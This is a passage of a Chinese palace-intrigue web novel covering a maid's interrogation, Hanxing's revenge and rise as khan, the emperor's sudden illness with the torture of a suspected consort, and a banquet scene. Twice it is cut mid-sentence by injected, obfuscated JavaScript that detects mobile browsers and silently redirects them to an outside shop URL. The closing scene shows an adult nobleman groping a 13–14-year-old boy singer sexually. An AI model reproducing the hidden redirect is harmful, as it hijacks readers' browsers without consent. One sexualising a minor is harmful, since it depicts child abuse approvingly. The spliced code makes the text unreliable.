席容烟看了一阵,约莫着时辰差不多了,便传敛秋进来回话。 此时虽已入春,却因连日雨雪绵绵,地上湿冷得很,敛秋进来时,两条腿冻得直打哆嗦,她颤巍巍跪在地上,求饶道,“姑娘素日里最是面和心善的,还请姑娘发发慈悲,放过奴婢吧。” 席容烟轻轻吹着茶上的一层浅淡沫饽,徐徐道,“可想明白了?” 敛秋跪在地上,垂头不语。 席容烟也不催她,饮了一口热茶,见她仍是不说话,便将杯子搁在案上,“既这么着,再去门外跪着就是了,这次我就不给你定时辰了,等你什么时候愿意说了,自己进来回话,否则,就一直跪着吧。” 席容烟垂眸打量着她,“敛秋,我不是寒星,使不出要了你命的手段,只是,这天虽然冻不死人,冻坏人的两条腿还是很容易的,我们不如赌一赌,你说,若是你的腿坏了,从此瘸了,二哥哥还肯不肯要你呢?” 敛秋慌了神,赶紧磕头道,“奴婢说,奴婢都说,姑娘想问什么尽管问就是了。” 席容烟坐直身子,正色道,“我问你,父亲传你过去,究竟都说了些什么?” “老爷问奴婢这些日子可曾看到过寒将军,奴婢说不曾,老爷便要奴婢警醒着些,平日留神姑娘的一举一动,若有反常,即刻回禀。” “就这些?” 敛秋又磕了一个头,“真就这些了,奴婢不敢欺瞒姑娘。” 席容烟沉思半晌,“我知道了,你下去吧。” “是。” 席容烟隔着纱窗,瞧见敛秋一瘸一拐的背影,不由得动了恻隐之心,唤道,“四儿。” “欸。”四儿撂下手里正在清点的团扇,跑到席容烟跟前,“姑娘叫我做什么。” “你一会儿得了空,给敛秋送些七厘散过去。” 四儿撅了撅嘴,“姑娘可真是个大善人,一个奸细,一个叛徒,也值得姑娘这样上心?” 桃夭听说,包了一包七厘散拿来,“啰嗦什么,姑娘让你去你就去。” 四儿没吭声,接过七厘散,一摔帘子就出去了。 桃夭笑道,“倒也怨不得四儿,她和敛秋素来不睦,现下接了这么一份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502769|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差事,可不是要不乐意的。” 席容烟叹气,“四儿这丫头人小鬼大,牙尖嘴利,我虽然喜欢她这股子机灵劲,却也得教她学会收敛,不然,她早晚是要吃大亏的。” “姑娘说的是,我以后也得留心提点着她,别叫她闯出祸来。对了,我才听敛秋说的话,似乎老爷那里也没有寒将军的消息。” “是啊,也不知道他现在怎么样了。” “寒将军吉人天相,一定会没事的。” 西域。 胡马声嘶,笳鼓雷鸣。 寒星身披玄色大氅,风领处,纯色狼毛在风中猎猎而动。 他骑着的踏雪玉狮迎着岒峨雪山,一马当先,扬蹄飞纵。 千里外,云涛翻滚,雪浪吞吐,天山如同父亲的背影一般,逐渐变得清晰可见。 寒星翻身下马,青霜剑在天池的冰面上呼啸而过,划出一道凛冽的伤痕。 他扯掉马侧挂着的破麻袋,面朝天山,跪地而拜。 麻袋在洁白的雪地上留下了一片殷红,那里面装的,正是西域可汗苏里唐的头颅。 寒星双眼通红,仰天长啸,“父亲,你的仇,儿子给你报了!” 怆慨的回音横跃叠嶂,激荡在数不清的白莽烟尘之中。 他大喝一声,“拿酒来!” 身后的武士立刻斟了三大碗酒,跪捧给他。 寒星抬臂拿起一碗,郑重洒落膝前。 “父亲,这第一碗酒,我敬给你。感谢你给了我健硕的体魄,顽强的生命,感谢你为我培养了尧里瓦斯、艾山、沙吾提这几员大将,更要感谢你为我留下了众望所归的人心。如果没有他们,没有你流传于世的威名,儿子无法如此之快地击退穆则帕尔,重新统一西域各部。父亲,二十年了,你终于可以安息了!” 寒星转身,又面朝东方跪了下去。 洌洌酒香在空中上下飘荡,宛如一朵朵开得正盛的耶悉茗。 “母亲,我做到了!十二年来,儿子无时无刻不在记着报仇雪恨这件事,为此,我不惜含羞隐耻,忍辱偷生,甘作爪牙,为人鹰犬,如今,我终于可以扔掉暗卫的腰牌,扯碎这条勒在我脖子上的锁链,重新做回一个完完整整的人!” 他站起身,端起最后一碗酒,冲着身后的战士们大喊,“这最后一碗酒,本汗要敬你们!” 战士们跳下马背,跪地高呼,“大汗!” 寒星扬起青霜剑,风沙浩浩,氤氲的红日映衬着凛冽的银光,温暖而又寒凉。 “谢谢你们坚定地追随了本汗,我寒星在此立誓,绝对不会辜负你们的期望。我要带着你们走向繁荣昌盛,我要你们每个人都能吃饱穿暖,都能娶妻生子,我要带着你们,成为这大漠永不落下的红日,成为千年以后依旧不朽的传说,我还要带着你们,杀进大魏,让我们西域的领土不断扩大,让我们西域的子民日益富足!” 战士们慷慨激昂,士气大振,纷纷举起了手中大刀,齐声呐喊,“大汗!大汗!大汗!” 寒星仰头,一饮而尽,他跨上踏雪玉狮,凝视着远处连绵不绝的山脉。 父亲,如果你还活着,你一定会为儿子感到骄傲的吧! 62. 往事跃烟尘 王帐。 寒星端坐胡床,正在往纸上描画着什么。 帐外武士通禀,“大汗,艾山将军求见。” “请他进来。” 不多时,一个裹着貂毛的年轻小伙快步走了进来。他就是西域猛将尧里瓦斯的儿子艾山,艾山继承了父亲魁梧的体魄,因为年轻的缘故,他比他的父亲显得还要威猛高大。 “艾山,你来的正好,我正想和你商议一下改良兵器的事儿。” “大汗请说,艾山洗耳恭听。” “据我观察,我们战士大多数使用的都是大刀,而剑、弓之类的兵器则是少之又少。” “不错,因为我们有的是力气,使用大刀,更能发挥我们的优势。” 寒星想了一下,“大刀虽然能发挥出我们的力量优势,但也有自己的局限。若是远攻,刀的攻击范围便不如拉弓射箭,若是轻骑,刀又比不上剑来剑往的速度。” 艾山抽出自己腰侧的镔铁大刀,凝神细看,这把刀是艾山的战利品,是他从落败而逃的穆则帕尔手中抢来的,因此,这把刀对他而言,代表着至高无上的荣耀。 “我们用惯了刀,只怕,用别的兵器会不趁手。” “所谓,兵无常势,水无常形,我们不能墨守成规,而要因敌而变。”[1] 艾山体格随了父亲,性情却随了母亲,说起话来有些腼腆,“可是大汗,我们这里都是荒漠,鲜有山峰,而且就算有山,也都是极为陡峭的,很难找到弓箭手落脚的位置。我们也没有轻骑,用不上剑,若论速度的话,我想,我们策马的速度是绝对不会逊于那些大魏人的。” 寒星笑了笑,“没有轻骑,我们可以训练轻骑,没有适合弓箭手的山坡,我们可以去找。” 艾山一时没反应过来,“大汗的意思是?” “大魏多的是山,多的是马,那么好的地方,我们为什么不去呢?” “大汗是想攻打大魏!” “我在大魏呆了多年,见过很多种兵器,像剑啊,刀啊,枪啊,棍啊,斧啊,都有人用,有人用的好,也有人用的不好。我在想,我们的战士未必是使不惯别的兵器,而是一直以来,都只用过大刀这一种兵器,所以被它局限住了。” “大汗说的也有道理。” 寒星拿起刚刚绘制好的图纸,递给艾山,“这是我按照大魏士兵的武器式样画的,我想让军中铁匠按照这个,造些剑和弓弩,还有其他兵器,也各样做一些,给我们的战士们试试,看看到底能不能用,好不好用。” 艾山一边看,一边点头,“我一会儿就去吩咐铁匠,让他们按照大汗给的图样赶紧锻造新的兵器,等兵器做好了,我就带着战士们操练起来。” “倒也不急,让他们慢慢做就行,慢工出细活嘛。对了,你来找我,是不是有事要说?” 艾山一拍脑门,“对,我差点忘了,我来是想告诉大汗,巴吐尔自从被俘之后,就一直破口大骂,看守的士兵都挨过他的骂,奈何大汉吩咐过,不准伤他性命,兄弟们也只好忍下这口气。可是,他越骂越凶,最后甚至连大汗也骂,实在是太不像话了!” 寒星只是笑笑,“随他去吧。” “不过这几天,他倒是不骂了,看守的士兵觉得奇怪,进去仔细查看了一遍,这才发现他把每天送去的饭菜都藏了起来,一口没动,想要绝食而死。” “他绝食几天了?” “起码有四五天了。” “让巫医看过了吗?” “看了,可巫医说,若是他执意不肯吃东西,谁也救不活他。” 寒星站起身来,“我去瞧瞧。” 巴吐尔四肢摊开,倒在地上,因为一连七日七夜水米不进,此时神智已经有些恍惚。 圣洁的光从掀起的帐门刺入,他勉力睁开眼睛,望向来人。 寒星解下氅衣,里面穿的依旧是二人初见时的那件苍青色长袍。 巴吐尔啐了一口吐沫,从牙缝里挤出几个字,“寒星,你个狼崽子,你敢骗我?!” 寒星哂笑,在他跟前坐下,“听艾山说,你一直在骂我,我心里好奇,就想过来听听。” 巴吐尔梗着脖子,大口大口的喘气,“我呸,你不要脸,我骂你都嫌脏了自己的嘴!” “哈哈,巴吐尔,你是连骂人的力气都没有了吧。” “寒星,你要么赶紧杀了我,要么就给我滚出去。” “生于乱世,活着多么不易,你为什么要一心求死呢?” “因为你杀了大汗,你杀了他!”巴吐尔情绪激动,涕泗横流,“你知道吗,大汗对我有知遇之恩,如果不是他,我这辈子永远不会成为西域勇士巴吐尔,我曾经对着天山,立下誓言,我巴吐尔这辈子都要追随于他,不论生死!” 寒星默了一阵,忽然问道,“既然如此,你当初为什么要放走我的母亲?” 巴吐尔涨红了脸,不觉哑然。 “你可知道,我今日不杀你,不是为着你我一同吃酒,一起作战的交情,而是因为我的母亲叮嘱过,你曾经救过我们的性命,滴水之恩,如有来日,必当涌泉相报。巴吐尔,当年,苏里唐杀了我的父亲,当上了西域的可汗,你奉命追杀我们,却在逼着我们跳河自尽之后,又偷偷捞起我们,背着苏里唐把我们给放走了。我说的,是也不是?” “不错,是我干的,其实我早该想到,你是她的孩子,你们的眼睛,你们说话时的神态,你们的一举一动,在某个瞬间都是那么的相像,我早该想到的。” 巴吐尔抬眼看向寒星,试探着问,“她,你的母亲,她还好吗?” 寒星打量着巴吐尔的神色,轻声道,“她死了,死在一个飘着雪的冬日。” 巴吐尔眼眶微红,他垂下头,不再作声。 “巴吐尔,你当时是不是喜欢我的母亲?” 巴吐尔连忙分辩,“不!不是喜欢!” “那是什么?” 巴吐尔似乎是叹了口气,“寒星,你不会明白,这是一种超越了男女之情的存在,就像那盛开在天山之上的雪莲,人们只想仰望,却从未想过拥有!” 寒星凝视着从帐外洒进来的细碎光亮,恍惚间,回忆起了他的母亲纯净而又温暖的笑容。 “你的母亲是我见过的最美丽的女子,她在我的心中,是天神一般的存在。我守护着她,就像守护着我的信仰。放她离开,是我能为她做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502770|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一件事。” “巴吐尔,我替她,谢谢你。” 巴吐尔疲惫地摇了摇头,“因为我没有带回你们的尸首,大汗并不放心,又派人在西域,大魏,甚至西国悄悄查了很久。我一直很担心她,好在最后,大汗派去的人全都无功而返。” “是的,他们没有找到我们,他们也不可能找到我们。” 巴吐尔看向寒星的眼神中多了几分期许,“那些年,你们过得应该还好吧?” 寒星的喉结滚动了一下,他仰起头,“挺好的,我们躲在一个很安全的地方,不缺银子,也不缺吃的,我想,世上不会有比它更好的所在了。” “那就好。”巴吐尔突然想起一事,他盯着寒星,疑惑道,“西国人从来不吃猪肉,这是他们的信仰,你既然是公主的孩子,又怎么会吃下那盘炙猪肉?” “信仰?”寒星轻嗤一声,“巴吐尔,如果有一日,你落到连性命都不能保全的时候,你就会明白,信仰,那是最不值一提的东西。” 巴吐尔闻言,神色黯了黯,他低下头,轻声说了句,“对不起。” “没什么对不起的,各为其主罢了,更何况,当年如果没有你,我们母子二人怕是早就已经死了,应该是我们谢谢你。” 巴吐尔张了张嘴,却不知道该说些什么。 寒星不愿继续这个话题,他站起身,招呼武士上菜上酒,“巴吐尔,你把这些东西吃完,我就放你走。” 巴吐尔不可置信地看向他,他的脸上继而呈现出愤怒的表情,“寒星,你又想骗我?” 寒星只是笑笑,他斟了碗酒,搁在巴吐尔身前,“我以亡母起誓,你吃些东西,有力气走路了,我就放你离开,决不反悔。” 巴吐尔没再犹豫,他端起碗,一饮而尽,接着便如风卷残云一般,大快朵颐起来。 不一会儿,桌上的食物就没了大半。 寒星扬了扬眉,“你慢点吃,吃这么快对你的肠胃不好。” 巴吐尔打了个嗝,摸着肚子说,“主要是我太饿了。” “活该。” 寒星扔下这句话,起身欲走,巴吐尔连忙喊住他,“你去哪?” 寒星背光而立,“去完成我父亲没有完成的事业,怎么,你要和我一起吗?” 巴吐尔想了想,摇头道,“不,我发过誓,此生只追随大汗一人。” “随你,你的马就在帐外,你吃饱喝足了,牵了就可以走,不送。” 巴吐尔咽下嘴里的食物,冲着寒星行了一个大礼,“谢谢你,尤里吐孜汗。” 寒星没再理他,兀自掀开帐门走了出去。 艾山在后头追了两步,“大汗,你真的要放他走?” “不然呢?” “苏里唐虽然死了,可他的弟弟穆则帕尔还在,大汗如果放了巴吐尔,就是放虎归山呀。” “你放心,他们在苏里唐还活着的时候就不对付,巴吐尔不会去找穆则帕尔的,而且,就算他去了,穆则帕尔也不会信他,反而可能杀了他。” 艾山还要再说,“可是——” 寒星抬手拍了拍艾山的肩膀,“别管他了,我们还有很多事要做,去忙吧。” 63. 奉安宫生变 远近朱墙曲复,嫩柳鹅黄。 宫人们趁着当值的空隙,三五成堆,凑在一处,逗弄水中游弋的红鱼。 奉安宫的小丫鬟缀儿急急地跑过来,“琉璃姐姐,不好了!出事了!!出大事了!!!” 琉璃慌忙站起身来,“出什么事了?” “皇上,皇上他病倒在咱们宫里了!” “啊?” 琉璃拉起缀儿,便往奉安宫的方向跑,一面跑一面问,“到底怎么回事,你给我说清楚。” 缀儿喘着粗气,“午膳的时候,皇上还好好的,用完了膳,黛常在服侍皇上去歇中觉,结果皇上就再没起来,传了太医来瞧,却是什么也瞧不出来,可不是要急死人了。” 琉璃放缓了脚下的步子,“这么说,皇上是在黛常在处病倒的,和我们主子并无干系。” “话虽这么说,可咱们主子毕竟是奉安宫的主位,真要细究起来,也是躲不过去的。” 二人进了奉安宫的西配殿春黛轩,只见屋子里已经乌压压挤满了人,嫔妃们都跪在屏风外面低声哭着,琉璃瞥见了赵妃的身影,赶紧垂首跪在赵妃的身后。 门外传来了太监尖细的嗓音,“皇后娘娘到——皇贵妃娘娘到——” 席容皇贵妃抢上一步,扑到床上,“陛下,陛下这是怎么了!” 魏皇后扶着云英的手,缓步走进殿中,她垂首扫了一遍跪着的嫔妃们,声音不怒自威,“哭什么?皇上不过是累了乏了,想要多睡一会儿,你们都给本宫起来,回自己宫里呆着去,谁要是敢乱嚼舌根,本宫决不轻饶!” 嫔妃们怯怯地应了一声“是”,纷纷扶着贴身侍女的手站了起来。 琉璃心头一喜,才要扶着赵妃往外走,便听魏皇后说道,“贤贵妃,赵妃,黛常在留下。” 贤贵妃,赵妃,黛常在屈膝行礼,“是。” 屏风内,席容皇贵妃正冲着太医们发脾气,“你们食君之禄,却不能解君之忧,一个个都他妈是废物,只管拿这些话来搪塞本宫!你们如果治不好皇上,本宫就送你们去见阎王!” 魏皇后稳步而至,“皇贵妃生气归生气,也不该失了体统规矩。” 她说着,转头看向了周赤,“周太医,皇上究竟是怎么了?” 周赤用袖子揩了揩额头上的汗,“回皇后娘娘的话,皇上脉象沉而无力,此为里虚之症,盖因气血不足,经络不通,而呈昏睡之状——” 魏皇后不耐烦的打断了他,“谁要听你背医书呢,你只说,这病能不能治,好不好治。” 周赤叩头,“微臣从医三十余年,从未见过如此蹊跷的病症,皇上的呼吸,心跳都正常,看似只是昏睡,实际上内里的气血都已经耗尽了,剩下的,不过是挨日子罢了。” 席容皇贵妃哭得梨花带雨,钗环皆乱,她俯下身子,用力摇着周赤的肩膀,“周太医,你是御医之首,你怎么能说这样的话?!” 周赤伏在地上,泣不成声,“皇贵妃娘娘,微臣怎会不尽力医治,可是皇上五脏俱损,气血两亏,微臣也是束手无策呀!皇上病成这样绝非一朝一夕的功夫,如若早早医治,或还有望痊愈,只是如今,如今说什么都晚了!” 魏皇后深吸一口气,“皇上他还有多少日子?” “微臣方才已为皇上施针,稳住了他的十二经络,皇上暂无性命之忧,一个时辰之后,微臣会再为皇上施针,皇上到时或可有望醒转过来,只是——” “周太医但说无妨。” 周赤重重磕了三个响头,“只是,就算倾尽微臣和太医院诸位同僚的毕生医术,皇上,皇上他至多也就只有一月光景了。” 席容皇贵妃怒吼,“你胡说,皇上他正值鼎盛之年,他怎么会,他怎么会——”她再也说不下去,掩面痛哭起来。 魏皇后握紧拳头,“立即派人封锁消息,对外只说皇上生的是小病,修养几日便好了。云英,你去请太子殿下过来,另外,八百里加急,传肃安王速速回京。” 云英接过令牌,飞奔而去。 “皇贵妃,皇上一时半刻还醒不过来,这儿有周太医他们看着,你随我去正殿坐坐。” 席容皇贵妃神色木然,脸上犹自挂着泪痕,紫藤勉强扶起她,随着魏皇后行至正殿。 魏皇后坐在大殿中央,左下坐的是席容皇贵妃,赵妃,右下坐的是贤贵妃,黛常在。 琉璃和缀儿沏了几盏云雾茶,小心翼翼地捧了上来。 魏皇后抿了口茶,往下扫视一圈,“今日请几位妹妹留下,是有事要问,黛常在——” 申如黛连忙从座位上站了起来,屈膝道,“臣妾在。” “本宫在来之前,翻过起居注,皇上这几日一直宿在你宫里,今儿病发,也是你在旁边伺候着,皇上的病究竟是怎么一个情形,你该最清楚。” “皇后娘娘,臣妾这几日的确一直服侍在皇上身边,皇上精神很好,晚上还得臣妾陪着说话解闷才能睡着,从未有过任何不对劲的症状。今日,皇上病的突然,臣妾也很意外。” “是吗?”魏皇后拍了拍手,“把人带上来。” 话音刚落,两个侍卫便拖着一个半死不活的宫女,大步跨了进来。 霎时,一股浓重的血腥味充斥了大殿的每一个角落,那名宫女背部以下血肉模糊,俨然受过重刑。 贤贵妃用帕子掩住口鼻,仔细分辨宫女的容貌,“呀,这不是黛常在的贴身丫鬟燕子吗?” 侍卫呈上供词,恭敬道,“娘娘,这宫女受不住刑,全都招了。” 魏皇后接过供词,玩味一笑,“燕子招认,是她给皇上下的毒,而背后主使正是黛常在。黛常在,你作何解释?” 申如黛跪下磕头,“皇后娘娘,臣妾冤枉呀,臣妾对此毫不知情,这丫鬟胡乱攀诬臣妾,还望皇后娘娘明察!” 魏皇后脸上的笑容骤然消失,她霍地站起身,将供词甩在了申如黛的脸上,“她攀诬你?所用毒药,所获途径,所下时间,她全都交代的清清楚楚,你说她攀诬你?!” 申如黛眼中并无太多的慌乱之色,她跪在当地,条理清晰地为自己分辩。 “娘娘,娘娘仔细想想,皇上是臣妾的天啊,臣妾害他作甚,臣妾害他,自己又能得到有什么好处。况且臣妾膝下又无所出,臣妾实在是没有理由去犯这种株连九族的死罪呀!” “哼,你说得不错,女子以夫为天,你的确没有理由谋害皇上,所以,本宫要问问你,燕子的背后主使是你,你的背后主使又是何人?” “皇后娘娘,臣妾再说一遍,臣妾从未有过谋害皇上的念头,臣妾背后也并无什么主使之人,这一切,全都是燕子她在胡说八道!” “燕子是你的陪嫁丫鬟,她跟着你一同入宫,你们主仆之间的情份应该不浅吧,她为何要无故污蔑你呢?黛常在,如果你还是不肯老实交代的话,本宫就只好对你用刑了。” “清者自清,臣妾没有做过的事,臣妾没有办法认下。” “好啊,本宫倒要看看,你的嘴究竟能硬到什么地步。来人,上拶刑!” 侍卫将拶子套在了申如黛的十个指头上,“回禀皇后娘娘,可以行刑了。” 魏皇后俯视着申如黛,“本宫听闻,黛常在画得一手的好丹青,尤其是那梁上燕,描得最为传神。只可怜黛常在这十指纤纤,一旦用了刑,别说作画了,就是日常饮食起居都困难。黛常在,本宫最后给你一次机会,你到底招不招?” 申如黛紧紧咬着下唇,跪在当地,默不作声。 魏皇后冷笑一声,随即挥了挥手。 两个侍卫立时攥紧拶子两侧的绳子,只听得一阵撕心裂肺的喊声传来,这喊声甚是凄厉,在冰冷空旷的大殿内不停地飘荡,回响,吓得在场之人无不垂首,不忍去看。 正在这时,忽听一声“住手”,众人循声望去,见是魏晗烨疾步走了进来。 因为魏皇后没有作声,两个侍卫你看看我,我瞅瞅你,都不知道该怎么办才好。 “孤说,让你们住手!” 魏皇后略一抬手,两个侍卫这才松开了拶子,向后退了一步。 申如黛满头冷汗,瘫软在地,她的十个指头血淋淋夹在拶子中间,因为刚才用力太过,此刻侍卫虽然已经松手了,那拶子还是死死缠在皮肉之间,分不出个个数。 魏皇后并没有责怪魏晗烨的意思,只说,“烨儿,你先去看看你的父皇吧。” 魏晗烨望着殿内的惨象,眉头紧蹙,却也没有再说什么,转身出去了。 “烨儿慈心,本宫也不愿伤你性命,来人,把她押下去,先关着,等皇上醒了再发落。” 两个侍卫一边一个,把申如黛给拖了下去。 席容皇贵妃垂眸望着当地的一块金砖,因为经年累月的缘故,砖上已经有了细微的裂痕,申如黛的血摊在砖上,正往缝里缓缓渗着,她看了一时,莫名觉得心惊,拿起茶盏喝了一口,茶雾飘渺间,她忽然就意识到了魏皇后的真正用意,不觉抬眼看她。 魏皇后冲她微微一笑,“席容皇贵妃,本宫依稀记得,去 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席容皇贵妃手里的帕子都快被她扯碎了,她把帕子揉成一团,塞进袖中,跟在魏皇后的身后走了进去,采碧扶着贤贵妃,琉璃扶着赵妃,缓步跟在后面。 魏帝果然已经醒了,正靠在魏晗烨身上喝药,他抬眼扫了一遍众人,开口道,“皇后,太子,还有周赤留下,其他人都去殿外候着,若无传召,不得觐见。” 席容皇贵妃脸色难看,却也知道眼下不是撒娇使性的时候,她转身同众人一起退了下去。 约莫一炷香的功夫,魏皇后终于扶着云英的手走了出来,她立在殿门旁边,对同她一起出来的李义道,“请李公公宣旨吧。” 李义颔首,高声道,“陛下口谕,黛常在嫌疑重大,着令太子从速审理,刑部尚书张悍,大理寺卿许忠和协审。赵妃乃是奉安宫主位,亦有包庇之嫌,即日起禁足宫中,无诏不得出。如今西域生变,正是多事之秋,朕身体欠佳,恐生动荡,遂命太子魏晗烨监国,大将军霍淳带兵入宫,全权负责宫闱安全。另,席容皇贵妃之女魏風漪,贤贵妃之子魏晗远,朕素甚爱,为其安全考虑,着令送入中宫,暂时交由皇后照看,钦此。” 席容皇贵妃,贤贵妃,赵妃纷纷跪下,“臣妾接旨。” 席容皇贵妃行完了礼,立即扶着紫藤的手站了起来。 魏皇后挪了几步,正正好好挡住了她。 “皇后娘娘,臣妾要去瞧瞧皇上。” “皇上喝完了药,已经歇下了。” “臣妾就看一眼,就一眼。” “皇上说过,若无传召,不得觐见,席容皇贵妃该不会是想要抗旨吧?” 席容皇贵妃忿然拂袖,“皇后娘娘就这么急不可耐吗,皇上刚刚病倒,娘娘就把臣妾的孩子,还有贤贵妃的孩子囚在中宫,充当人质。现下臣妾不过是想看皇上一眼,娘娘都不肯。皇后娘娘此举,怕是想学吕后称制,武后称帝,排除异己,把持朝政吧!” 魏皇后脸色难看,“放肆!本宫贵为中宫之主,后宫大小事宜均属本宫分内之事,岂容你随意置喙?皇上让漪公主还有哲远王搬进中宫,也是为了他们的安全考虑,那不成,席容皇贵妃已有反心,所以才会觉得漪公主进了中宫,便是做了人质?” 贤贵妃瞧着情形不好,连忙上前温声解劝,“皇后娘娘,皇贵妃娘娘,皇上尚在病中,恐怕听不得这些吵闹。越是这种时候,咱们姐妹越是要齐心协力,万不可自生龃龉呀。” 魏晗烨从屏风后面走了出来,“贤娘娘说得不错,父皇既然将朝政暂时托付给了孤,孤自然要为父皇守护好大魏江山,还望诸位娘娘也能理解父皇的这片苦心。” 贤贵妃道,“殿下客气了,皇后娘娘,臣妾这就回宫,收拾收拾东西,将远儿送过来。这段时间臣妾就偷个懒儿,远儿他,就麻烦皇后娘娘帮忙照看了!” 魏皇后颔首道,“贤贵妃放心,本宫必会将其视为己出,用心照拂的。” 贤贵妃拉了席容皇贵妃一把,“席容妹妹,我们一道走吧。” 席容皇贵妃咬着牙,礼也不行,转身一摔帘子,便出去了。 贤贵妃向魏皇后行了一礼,也出去了。 魏皇后看向赵妃,和蔼一笑,“皇上的旨意,本宫也不能不遵,赵妃,你就先委屈一段时间,等真相大白了,你的禁足自然便可以解了。” 赵妃的脸上看不出悲喜之色,“皇后娘娘放心,臣妾谨遵圣谕。” 64. 二宴缀锦楼 缀锦楼。 申无忧一身扶光色宽博衣衫,头戴紫纱罗高士巾,徐徐走了进来,拱手道,“无忧迟来,还望诸位兄台海涵!” 宁凯风凑到李莲蓉耳边说道,“他宫里头的妹子都出事了,他竟还有兴致出来参加宴会。” 李莲蓉瞟了一眼申无忧,轻蔑道,“书呆子一个。” 席容弥德招呼着他,“行之,快过来坐。” 申无忧刚一坐定,席容弥德便为他介绍,“这位是吏部员外郎李莲蔚,表字文正,这位是刑部尚书张悍之子张宇,表字玄檐。” 申无忧连忙依次见过,“久仰!久仰!” 张宇生得白净,斯斯文文的模样,一点也不像酷吏张悍之子,他微笑着说道,“行之,令妹的事,明台都同我说了。你放心,咱们都是一家人,家父必不会为难她的。” 申无忧感激涕零状,“无忧何德何能,能得明台、玄檐两位仁兄从中斡旋,如若此次,我们申家能够侥幸逃过一劫,他日必有重谢!” 张宇道,“欸,所谓大难不死,必有后福嘛,早就听说行之闻鸡起舞,十分勤奋好学,前年便已中了举人,去岁又是进士及第,如果不是因为宫里的事,只怕此刻早已授官拜职了。若是来日青云直上,还望行之提点一二呀。” 申无忧道,“承张兄吉言,如果真有那么一日,无忧必当结草衔环以报之!” 李莲蔚道,“我身在吏部,不大清楚刑部的案子。不过,我听说皇上让大理寺从旁协审,令尊大人不是在大理寺供职嘛,皇上既然做出了这样的安排,便是并未偏信皇后的一面之词,可见呀,此事还有转圜的余地。” 申无忧叹了口气,“家父虽在大理寺供职,遇到这样的事,岂有不避嫌的道理。万幸,那大理寺卿许忠和倒是个难得一遇的好人,如今,哎,舍妹之事也便只能指望他了。” 李莲蔚点头,“是啊,许忠和,许仲卿,确实人如其名。” 宁凯风自上次酒后胡言之后,遇事十分小心,此刻见他们议论起了此事,便道,“裴兄不是说过,席间不谈政事的吗,咱们还是喝酒吧!” 方承鹤笑道,“哈哈哈,这样的话,我倒是难得能从梦元的嘴里听见。不过,左右存义今日也不在这里,咱们几个随便说说倒也无妨。” 席容弥德道,“还真是好些日子没看见他了,他该不会是害病了吧?” 李莲蓉轻嗤一声,“是啊,害病了,害的还是心病呢。皇上一病,他就跟着称病不出,闭门谢客,生怕沾着一点脏水。” 李莲蔚瞥他一眼,李莲蓉便不再说,只是用鼻子往外哼气。 李莲蔚道,“多事之秋,存义自然是要小心些的。” 席容弥德颔首,“皇上卧床,太子监国,的确是多事之秋。” 方承鹤道,“都说皇上病了,有说严重的,也有说不严重的,众说纷纭,我也分不出个真真假假,明台可知,皇上这病究竟怎样吗?” 席容弥德连忙摆手,“宫闱之事,我一个平头百姓如何知晓。” 李莲蓉笑了起来,“明台,你可真会开玩笑,令尊位列宰相,令兄受封伯爵,令姊又是宫里的皇贵妃,你还平头百姓,哈哈哈哈哈,你说这话,谁信呀。” 席容弥德道,“嗐,咱们几个能聚到一块儿不容易,今日,咱们不说这些烦心事,只管吃吃酒看看戏,做咱们的富贵闲人才是正经。对了,我听说缀锦楼新调教出来一个小旦,才开了嗓,模样生得极俊,何不让他唱上一出,咱们一起听着乐呵乐呵。” 宁凯风近来有些腻了府里养的那些娇娃,只拿身边的几个小厮泄火,却也总是不尽兴,眼下听见这话,忙道,“既有这样的人物,还不快快请来!” 一时,来福领了一个十三四岁的男孩子进来,“他就是我们这儿唱小旦的,叫玉官的。” 宁凯风瞧见玉官,眼睛都直了,“这,这真是男的吗?” 来福笑道,“瞧侯爷说的,哪有女孩子出来唱戏的呀。” 宁凯风大喜,上去就拉玉官的纤手,“玉官,你都会唱什么曲子呀?” 玉官粉面朱唇,形容俊秀,虽然年纪尚小,却是自有一段风流韵味。 他微微低着头,“都会唱的,侯爷想听什么,随意点就是了。” 宁凯风一只手覆住他的脸蛋,另一只手便往下探,“我的宝贝,我的心肝,你叫我一声梦元听听。” 玉官含羞一笑,那双桃花眼似醉非醉的散着雾气,细细弯弯的眼尾勾出一个迷人的弧度,他低低切切地唤了一句,“元郎——” 这一声“元郎”喊得众人几乎酥倒,饶是滴酒未沾的申无忧此刻也有了几分醉意,他忙低下头,再不去看玉官。 宁凯风舔着嘴唇,吞着口水,爱不释手地在玉官身上摸来摸去,他恨不能立刻便把玉官压在身下,大展雄风,只是又顾忌着众人都在,一时倒也不敢轻狂。 “你唱的,我都爱,你随便拣一支好听的,细细唱来。” “那我唱一支《闻乐》里的《锦中拍》吧。” 众人都说“好”,各自饮了门杯,且看玉官如何唱来。 玉官被宁凯风搂在怀里,挣脱不开,也不敢得罪他,只得顺势跪在地上,把身子一直,水袖一扬,皓齿一发,宛宛转转,悠悠扬扬的唱了起来。 “携天乐花丛斗拈,拂霓裳露沾。迥隔断红尘荏苒,直写出瑶台清艳。纵吹弹舌尖玉纤韵添,惊不醒人间梦魇,停不驻天宫漏签。一枕游仙曲终闻盐,付知音重翻检。”[1] 他的声音丝丝袅袅,缠缠绵绵,嫩的仿佛能掐出一股水来。那双桃花眼更是媚色天成,内里晕染开了一圈圈淡粉色的薄雾,把宁凯风的魂儿都勾走了。 